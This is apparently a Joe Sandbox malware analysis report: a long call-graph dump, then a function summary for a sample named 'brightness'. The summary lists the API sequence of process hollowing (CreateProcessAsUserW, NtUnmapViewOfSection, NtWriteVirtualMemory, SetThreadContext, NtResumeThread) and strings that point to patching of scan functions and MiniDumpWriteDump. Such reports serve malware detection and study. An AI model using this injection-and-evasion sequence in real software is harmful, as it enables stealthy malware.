290889c 22 API calls 30893->30894 30895 290961a 30894->30895 30896 28f4860 11 API calls 30895->30896 30897 2909636 30896->30897 30898 28f47ec 11 API calls 30897->30898 30899 2909667 30898->30899 30900 290889c 22 API calls 30899->30900 30901 290968b 30900->30901 30902 28f4860 11 API calls 30901->30902 30903 29096a7 30902->30903 30904 28f47ec 11 API calls 30903->30904 30905 29096d8 30904->30905 30906 290889c 22 API calls 30905->30906 30907 29096fc 30906->30907 31258 29082cc 30907->31258 30910 2909730 30912 28f4860 11 API calls 30910->30912 30911 2909a37 30913 28f4860 11 API calls 30911->30913 30914 290974c 30912->30914 30915 2909a53 30913->30915 30916 28f47ec 11 API calls 30914->30916 30917 28f47ec 11 API calls 30915->30917 30919 290977d 30916->30919 30918 2909a84 30917->30918 30920 290889c 22 API calls 30918->30920 30987 2909a30 30918->30987 30921 290889c 22 API calls 30919->30921 30920->30987 30922 29097a1 30921->30922 30924 28f4860 11 API calls 30922->30924 30923 28f4860 11 API calls 30925 2909ac4 30923->30925 30926 29097bd 30924->30926 30927 28f47ec 11 API calls 30925->30927 30928 28f47ec 11 API calls 30926->30928 30929 2909af5 30927->30929 30930 29097ee 30928->30930 30931 290889c 22 API calls 30929->30931 30932 290889c 22 API calls 30930->30932 30933 2909b19 30931->30933 30934 2909812 30932->30934 30935 28f4860 11 API calls 30933->30935 30936 28f4860 11 API calls 30934->30936 30937 2909b35 30935->30937 30938 290982e 30936->30938 30939 28f47ec 11 API calls 30937->30939 30940 28f47ec 11 API calls 30938->30940 30941 2909b66 30939->30941 30942 290985f 30940->30942 30943 290889c 22 API calls 30941->30943 30944 290889c 22 API calls 30942->30944 30945 2909b8a 30943->30945 30946 2909883 30944->30946 30947 28f4860 11 API calls 30945->30947 31272 290853c 30946->31272 30954 2909ba6 30947->30954 30950 29098c3 30952 28f4860 11 API calls 30950->30952 30951 290989b 31286 2907a2c 30951->31286 30958 29098df 30952->30958 30956 28f47ec 11 API calls 30954->30956 30955 29098bc 30957 28f4860 11 API calls 30955->30957 30960 2909bd7 30956->30960 30961 2909950 30957->30961 30959 28f47ec 11 API calls 30958->30959 30965 2909910 30959->30965 30962 290889c 22 API calls 30960->30962 30963 28f47ec 11 API calls 30961->30963 30964 2909bfb 30962->30964 30969 2909981 30963->30969 30966 2907a2c 18 API calls 30964->30966 30965->30955 30968 290889c 22 API calls 30965->30968 30967 2909c1c 30966->30967 30967->30760 30970 28f4860 11 API calls 30967->30970 30968->30955 30971 290889c 22 API calls 30969->30971 30973 2909c4a 30970->30973 30972 29099a5 30971->30972 30974 28f4860 11 API calls 30972->30974 30975 28f47ec 11 API calls 30973->30975 30976 29099c1 30974->30976 30978 2909c7b 30975->30978 30977 28f47ec 11 API calls 30976->30977 30979 29099f2 30977->30979 30980 290889c 22 API calls 30978->30980 30983 290889c 22 API calls 30979->30983 30981 2909c9f 30980->30981 30982 28f4860 11 API calls 30981->30982 30986 2909cbb 30982->30986 30984 2909a16 30983->30984 30985 2907a2c 18 API calls 30984->30985 30985->30987 30988 28f47ec 11 API calls 30986->30988 30987->30923 30989 2909cec 30988->30989 30990 290889c 22 API calls 30989->30990 30991 2909d10 30990->30991 31300 2908b38 30991->31300 30993 28f4860 11 API calls 30995 2909d97 30993->30995 30994 2909d17 30994->30993 30996 28f47ec 11 API calls 30995->30996 30997 2909dc8 30996->30997 30998 290889c 22 API calls 30997->30998 30999 2909dec 30998->30999 31000 28f4860 11 API calls 30999->31000 31001 2909e08 31000->31001 31002 28f47ec 11 API calls 31001->31002 31003 2909e39 31002->31003 31004 290889c 22 API calls 31003->31004 31005 2909e5d 31004->31005 31006 28f4860 11 API calls 31005->31006 31007 2909e79 31006->31007 31008 28f47ec 11 API calls 31007->31008 31009 2909eaa 31008->31009 31010 290889c 22 API calls 31009->31010 31011 2909ece 31010->31011 31012 2907d78 18 API calls 31011->31012 31013 2909eeb 31012->31013 31014 28f4860 11 API calls 31013->31014 31015 2909f07 31014->31015 31016 28f47ec 11 API calls 31015->31016 31017 2909f38 31016->31017 31018 290889c 22 API calls 31017->31018 31019 2909f5c 31018->31019 31020 28f4860 11 API calls 31019->31020 31021 2909f78 31020->31021 31022 28f47ec 11 API calls 31021->31022 31023 2909fa9 31022->31023 31024 290889c 22 API calls 31023->31024 31025 2909fcd 31024->31025 31026 28f4860 11 API calls 31025->31026 31027 2909fe9 31026->31027 31028 28f47ec 11 API calls 31027->31028 31029 290a01a 31028->31029 31030 290889c 22 API calls 31029->31030 31031 290a03e 31030->31031 31032 2907d78 18 API calls 31031->31032 31033 290a05e 31032->31033 31034 28f4860 11 API calls 31033->31034 31035 290a07a 31034->31035 31036 28f47ec 11 API calls 31035->31036 31037 290a0ab 31036->31037 31038 290889c 22 API calls 31037->31038 31039 290a0cf 31038->31039 31040 28f4860 11 API calls 31039->31040 31041 290a0eb 31040->31041 31042 28f47ec 11 API calls 31041->31042 31043 290a11c 31042->31043 31044 290889c 22 API calls 31043->31044 31045 290a140 31044->31045 31046 28f4860 11 API calls 31045->31046 31047 290a15c 31046->31047 31048 28f47ec 11 API calls 31047->31048 31049 290a18d 31048->31049 31050 290889c 22 API calls 31049->31050 31051 290a1b1 SetThreadContext NtResumeThread 31050->31051 31052 28f4860 11 API calls 31051->31052 31053 290a1fd 31052->31053 31054 28f47ec 11 API calls 31053->31054 31055 290a22e 31054->31055 31056 290889c 22 API calls 31055->31056 31057 290a252 31056->31057 31058 28f4860 11 API calls 31057->31058 31059 290a26e 31058->31059 31060 28f47ec 11 API calls 31059->31060 31061 290a29f 31060->31061 31062 290889c 22 API calls 31061->31062 31063 290a2c3 31062->31063 31064 28f4860 11 API calls 31063->31064 31065 290a2df 31064->31065 31066 28f47ec 11 API calls 31065->31066 31067 290a310 31066->31067 31068 290889c 22 API calls 31067->31068 31069 290a334 31068->31069 31070 28f4860 11 API calls 31069->31070 31071 290a350 31070->31071 31072 28f47ec 11 API calls 31071->31072 31073 290a381 31072->31073 31074 290889c 22 API calls 31073->31074 31075 290a3a5 31074->31075 31076 28f2c2c 11 API calls 31075->31076 31077 290a3b4 31076->31077 31078 28f4860 11 API calls 31077->31078 31079 290a3d6 31078->31079 31080 28f47ec 11 API calls 31079->31080 31081 290a407 31080->31081 31082 290889c 22 API calls 31081->31082 31083 290a42b 31082->31083 31084 2908818 21 API calls 31083->31084 31085 290a43f 31084->31085 31086 2908818 21 API calls 31085->31086 31087 290a453 31086->31087 31088 2908818 21 API calls 31087->31088 31089 290a467 31088->31089 31090 28f4860 11 API calls 31089->31090 31091 290a483 31090->31091 31092 28f47ec 11 API calls 31091->31092 31093 290a4b4 31092->31093 31094 290889c 22 API calls 31093->31094 31095 290a4d8 31094->31095 31096 2908818 21 API calls 31095->31096 31097 290a4ec 31096->31097 31098 2908818 21 API calls 31097->31098 31099 290a500 31098->31099 31100 28f4860 11 API calls 31099->31100 31101 290a51c 31100->31101 31102 28f47ec 11 API calls 31101->31102 31103 290a53a 31102->31103 31104 2908818 21 API calls 31103->31104 31105 290a552 31104->31105 31106 28f4860 11 API calls 31105->31106 31107 290a56e 31106->31107 31108 28f47ec 11 API calls 31107->31108 31109 290a58c 31108->31109 31110 2908818 21 API calls 31109->31110 31111 290a5a4 31110->31111 31112 2908818 21 API calls 31111->31112 31113 290a5b8 31112->31113 31114 2908818 21 API calls 31113->31114 31115 290a5cc 31114->31115 31116 2908818 21 API calls 31115->31116 31117 290a5e0 31116->31117 31118 2908818 21 API calls 31117->31118 31119 290a5f4 31118->31119 31120 28f4860 11 API calls 31119->31120 31121 290a610 31120->31121 31122 28f47ec 11 API calls 31121->31122 31123 290a62e 31122->31123 31124 2908818 21 API calls 31123->31124 31125 290a646 31124->31125 31126 28f4860 11 API calls 31125->31126 31127 290a662 31126->31127 31128 28f47ec 11 API calls 31127->31128 31129 290a680 31128->31129 31130 2908818 21 API calls 31129->31130 31131 290a698 31130->31131 31132 28f4860 11 API calls 31131->31132 31133 290a6b4 31132->31133 31134 28f47ec 11 API calls 31133->31134 31135 290a6d2 31134->31135 31136 2908818 21 API calls 31135->31136 31137 290a6ea 31136->31137 31138 28f4860 11 API calls 31137->31138 31139 290a706 31138->31139 31140 28f47ec 11 API calls 31139->31140 31141 290a724 31140->31141 31142 2908818 21 API calls 31141->31142 31143 290a73c 31142->31143 31144 2908818 21 API calls 31143->31144 31145 290a75b 31144->31145 31146 2908818 21 API calls 31145->31146 31146->30760 31148 28f4530 11 API calls 31147->31148 31149 2908227 31148->31149 31150 28f4860 11 API calls 31149->31150 31151 2908246 31150->31151 31152 2908098 17 API calls 31151->31152 31153 2908259 31152->31153 31154 2908140 15 API calls 31153->31154 31155 290825f FlushInstructionCache 31154->31155 31156 2908285 31155->31156 31157 28f44dc 11 API calls 31156->31157 31158 290828d 31157->31158 31158->30646 31160 28f4530 11 API calls 31159->31160 31161 29084ab 31160->31161 31162 28f4860 11 API calls 31161->31162 31163 29084ca 31162->31163 31164 2908098 17 API calls 31163->31164 31165 29084dd 31164->31165 31166 2908140 15 API calls 31165->31166 31167 29084e3 WinExec 31166->31167 31168 2908505 31167->31168 31169 28f44dc 11 API calls 31168->31169 31170 290850d 31169->31170 31170->29981 31171->30041 31172->30199 31173->30254 31174->30371 31175->30205 31176->30299 31178 2908887 31177->31178 31179 290883f GetProcAddress 31177->31179 31178->30494 31180 2908859 31179->31180 31181 290887c FreeLibrary 31179->31181 31182 2907d78 18 API calls 31180->31182 31181->31178 31183 2908871 31182->31183 31183->31181 31185 28f49a4 GetModuleHandleA 31184->31185 31185->30684 31187 28f4530 11 API calls 31186->31187 31188 2907d9d 31187->31188 31204 290798c 31188->31204 31191 28f47ec 11 API calls 31192 2907dba 31191->31192 31210 2908098 31192->31210 31197 2907dff 31198 28f4500 11 API calls 31197->31198 31199 2907e0c FreeLibrary 31198->31199 31199->30689 31202 28f4506 31200->31202 31201 28f452c 31201->29854 31202->31201 31203 28f2c2c 11 API calls 31202->31203 31203->31202 31205 290799d 31204->31205 31206 28f4bcc 11 API calls 31205->31206 31208 29079ad 31206->31208 31207 2907a19 31207->31191 31208->31207 31232 28fbabc CharNextA 31208->31232 31211 28f4530 11 API calls 31210->31211 31212 29080bb 31211->31212 31213 290798c 12 API calls 31212->31213 31214 29080c8 31213->31214 31215 29080d0 GetModuleHandleA 31214->31215 31216 2908140 15 API calls 31215->31216 31217 29080e1 GetModuleHandleA 31216->31217 31218 29080ff 31217->31218 31219 28f44dc 11 API calls 31218->31219 31220 2907dcd 31219->31220 31221 2908140 31220->31221 31222 28f4530 11 API calls 31221->31222 31223 2908165 31222->31223 31224 290798c 12 API calls 31223->31224 31225 2908172 31224->31225 31226 28f47ec 11 API calls 31225->31226 31227 290817f 31226->31227 31228 2908187 GetModuleHandleW GetProcAddress GetProcAddress 31227->31228 31229 29081ba 31228->31229 31230 28f4500 11 API calls 31229->31230 31231 2907dd3 NtWriteVirtualMemory 31230->31231 31231->31197 31232->31208 31233->30719 31234->30719 31236 28f4f26 SysAllocStringLen 31235->31236 31237 28f4f3c 31235->31237 31236->31237 31238 28f4c30 31236->31238 31237->30728 31238->31235 31239->30731 31241 28f4c66 SysFreeString 31240->31241 31242 28f4c74 31240->31242 31241->31242 31242->30738 31244 28f4530 11 API calls 31243->31244 31245 2908677 31244->31245 31246 28f4860 11 API calls 31245->31246 31247 2908696 31246->31247 31248 2908098 17 API calls 31247->31248 31249 29086a9 31248->31249 31250 2908140 15 API calls 31249->31250 31251 29086af CreateProcessAsUserW 31250->31251 31252 29086f3 31251->31252 31253 28f44dc 11 API calls 31252->31253 31254 29086fb 31253->31254 31254->30831 31254->30833 31256 28f2eed 31255->31256 31257 28f2ef8 GetTickCount 31255->31257 31256->30858 31257->30858 31259 28f4530 11 API calls 31258->31259 31260 29082f1 31259->31260 31261 290798c 12 API calls 31260->31261 31262 29082fe 31261->31262 31263 28f47ec 11 API calls 31262->31263 31264 290830b 31263->31264 31265 2908098 17 API calls 31264->31265 31266 290831e 31265->31266 31267 2908140 15 API calls 31266->31267 31268 2908324 NtReadVirtualMemory 31267->31268 31269 2908352 31268->31269 31270 28f4500 11 API calls 31269->31270 31271 290835f 31270->31271 31271->30910 31271->30911 31273 28f4530 11 API calls 31272->31273 31274 2908561 31273->31274 31275 290798c 12 API calls 31274->31275 31276 290856e 31275->31276 31277 28f47ec 11 API calls 31276->31277 31278 290857b 31277->31278 31279 2908098 17 API calls 31278->31279 31280 290858e 31279->31280 31281 2908140 15 API calls 31280->31281 31282 2908594 NtUnmapViewOfSection 31281->31282 31283 29085b4 31282->31283 31284 28f4500 11 API calls 31283->31284 31285 29085c1 31284->31285 31285->30950 31285->30951 31287 28f4530 11 API calls 31286->31287 31288 2907a51 31287->31288 31289 290798c 12 API calls 31288->31289 31290 2907a5e 31289->31290 31291 28f47ec 11 API calls 31290->31291 31292 2907a6b 31291->31292 31293 2908098 17 API calls 31292->31293 31294 2907a7e 31293->31294 31295 2908140 15 API calls 31294->31295 31296 2907a84 NtAllocateVirtualMemory 31295->31296 31297 2907ab5 31296->31297 31298 28f4500 11 API calls 31297->31298 31299 2907ac2 31298->31299 31299->30955 31301 28f2c10 11 API calls 31300->31301 31302 2908b6e 31301->31302 31302->30994 31303 291c528 31306 290fabc 31303->31306 31307 290fac4 31306->31307 31307->31307 33750 2908784 LoadLibraryW 31307->33750 31309 290fae6 31310 28f2ee0 2 API calls 31309->31310 31311 290faeb 31310->31311 31312 290faf5 InetIsOffline 31311->31312 31313 290fb10 31312->31313 31314 290faff 31312->31314 31315 28f4530 11 API calls 31313->31315 31316 28f4530 11 API calls 31314->31316 31317 290fb0e 31315->31317 31316->31317 31318 28f4860 11 API calls 31317->31318 31319 290fb3d 31318->31319 31320 290fb45 31319->31320 31321 28f47ec 11 API calls 31320->31321 31322 290fb68 31321->31322 31323 290fb70 31322->31323 31324 290fb7a 31323->31324 31325 290889c 22 API calls 31324->31325 31326 290fb83 31325->31326 31327 28f4860 11 API calls 31326->31327 31328 290fba1 31327->31328 31329 290fba9 31328->31329 31330 28f47ec 11 API calls 31329->31330 31331 290fbcc 31330->31331 31332 290fbd4 31331->31332 33755 28f46d4 31332->33755 33751 2908140 15 API calls 33750->33751 33752 29087bd 33751->33752 33753 2907d78 18 API calls 33752->33753 33754 29087eb FreeLibrary 33753->33754 33754->31309 33756 28f46da 33755->33756 33757 291d2fc 33767 28f656c 33757->33767 33761 291d32a 33772 291c534 timeSetEvent 33761->33772 33763 291d334 33764 291d342 GetMessageA 33763->33764 33765 291d352 33764->33765 33766 291d336 TranslateMessage DispatchMessageA 33764->33766 33766->33764 33768 28f6577 33767->33768 33773 28f4198 33768->33773 33771 28f42ac SysFreeString SysReAllocStringLen SysAllocStringLen 33771->33761 33772->33763 33774 28f41de 33773->33774 33775 28f43e8 33774->33775 33776 28f4257 33774->33776 33779 28f4419 33775->33779 33782 28f442a 33775->33782 33787 28f4130 33776->33787 33792 28f435c GetStdHandle WriteFile GetStdHandle WriteFile MessageBoxA 33779->33792 33781 28f4423 33781->33782 33783 28f446f FreeLibrary 33782->33783 33784 28f4493 33782->33784 33783->33782 33785 28f449c 33784->33785 33786 28f44a2 ExitProcess 33784->33786 33785->33786 33788 28f4140 33787->33788 33789 28f4173 33787->33789 33788->33789 33790 28f15cc VirtualAlloc 33788->33790 33793 28f5868 33788->33793 33789->33771 33790->33788 33792->33781 33794 28f5878 GetModuleFileNameA 33793->33794 33795 28f5894 33793->33795 33797 28f5acc GetModuleFileNameA RegOpenKeyExA 33794->33797 33795->33788 33798 28f5b4f 33797->33798 33799 28f5b0f RegOpenKeyExA 33797->33799 33815 28f5908 12 API calls 33798->33815 33799->33798 33800 28f5b2d RegOpenKeyExA 33799->33800 33800->33798 33803 28f5bd8 lstrcpynA GetThreadLocale GetLocaleInfoA 33800->33803 33802 28f5b74 RegQueryValueExA 33804 28f5b94 RegQueryValueExA 33802->33804 33807 28f5bb2 RegCloseKey 33802->33807 33805 28f5c0f 33803->33805 33806 28f5cf2 33803->33806 33804->33807 33805->33806 33809 28f5c1f lstrlenA 33805->33809 33806->33795 33807->33795 33810 28f5c37 33809->33810 33810->33806 33811 28f5c5c lstrcpynA LoadLibraryExA 33810->33811 33812 28f5c84 33810->33812 33811->33812 33812->33806 33813 28f5c8e lstrcpynA LoadLibraryExA 33812->33813 33813->33806 33814 28f5cc0 lstrcpynA LoadLibraryExA 33813->33814 33814->33806 33815->33802

                                                                                                                                                          Executed Functions

                                                                                                                                                          Function 02908C28 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 6027 2908c28-2908c2b 6028 2908c30-2908c35 6027->6028 6028->6028 6029 2908c37-2908d1e call 28f4990 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6028->6029 6060 2908d24-2908dff call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6029->6060 6061 290a76f-290a7d9 call 28f4500 * 2 call 28f4c60 call 28f4500 call 28f44dc call 28f4500 * 2 6029->6061 6060->6061 6105 2908e05-290912d call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f30d4 * 2 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4de0 call 28f4df0 call 2908654 6060->6105 6214 29091a0-29094c1 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f2ee0 call 28f2f08 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c GetThreadContext 6105->6214 6215 290912f-290919b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6105->6215 6214->6061 6323 29094c7-290972a call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 29082cc 6214->6323 6215->6214 6396 2909730-2909899 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290853c 6323->6396 6397 2909a37-2909aa2 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 6323->6397 6487 29098c3-290992e call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 6396->6487 6488 290989b-29098c1 call 2907a2c 6396->6488 6422 2909aa8-2909c28 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907a2c 6397->6422 6423 2909aa3 call 290889c 6397->6423 6422->6061 6528 2909c2e-2909d27 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908b38 6422->6528 6423->6422 6498 2909934-2909a2b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907a2c 6487->6498 6526 290992f call 290889c 6487->6526 6488->6498 6567 2909a30-2909a35 6498->6567 6526->6498 6579 2909d29-2909d76 call 2908a30 call 2908a24 6528->6579 6580 2909d7b-290a4d3 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907d78 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907d78 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c SetThreadContext NtResumeThread call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f2c2c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908818 * 3 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6528->6580 6567->6422 6579->6580 6805 290a4d8-290a76a call 2908818 * 2 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 * 5 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 2907f4c call 2908818 * 2 6580->6805 6805->6061
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 0290889C: LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                            • Part of subcall function 0290889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                            • Part of subcall function 0290889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 0290889C: FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                            • Part of subcall function 02908654: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029086E0
                                                                                                                                                          • GetThreadContext.KERNEL32(000008D8,0294B420,ScanString,0294B3A4,0290A7F4,UacInitialize,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,UacInitialize,0294B3A4), ref: 029094BA
                                                                                                                                                            • Part of subcall function 029082CC: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 0290833D
                                                                                                                                                            • Part of subcall function 0290853C: NtUnmapViewOfSection.NTDLL(?,?), ref: 029085A1
                                                                                                                                                            • Part of subcall function 02907A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02907A9F
                                                                                                                                                            • Part of subcall function 02907D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02907DEC
                                                                                                                                                          • SetThreadContext.KERNEL32(000008D8,0294B420,ScanBuffer,0294B3A4,0290A7F4,ScanString,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,000008D4,00330FF8,0294B4F8,00000004,0294B4FC), ref: 0290A1CF
                                                                                                                                                          • NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(000008D8,00000000,000008D8,0294B420,ScanBuffer,0294B3A4,0290A7F4,ScanString,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,000008D4,00330FF8,0294B4F8), ref: 0290A1DC
                                                                                                                                                            • Part of subcall function 02908818: LoadLibraryW.KERNEL32(bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,UacScan), ref: 0290882C
                                                                                                                                                            • Part of subcall function 02908818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02908846
                                                                                                                                                            • Part of subcall function 02908818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize), ref: 02908882
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Library$MemoryThreadVirtual$AddressContextFreeLoadProc$AllocateCreateHandleModuleProcessReadResumeSectionUnmapUserViewWrite
                                                                                                                                                          • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                          • API String ID: 4083799063-51457883
                                                                                                                                                          • Opcode ID: 551dcf258d86b1f5555fa8dc0346930e6b7a3e3a76bff21e7257ce579791fab1
                                                                                                                                                          • Instruction ID: bd1d4a3d9a383ecdf7e85263a96f358be8a9723016842c0733f0500f1b26221d
                                                                                                                                                          • Opcode Fuzzy Hash: 551dcf258d86b1f5555fa8dc0346930e6b7a3e3a76bff21e7257ce579791fab1
                                                                                                                                                          • Instruction Fuzzy Hash: 13E2F13DB0421D9FDB51EB68D8D0ACF73BAAF85300F5081A29705DB254DA34EE858F96
                                                                                                                                                          Function 02908C26 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
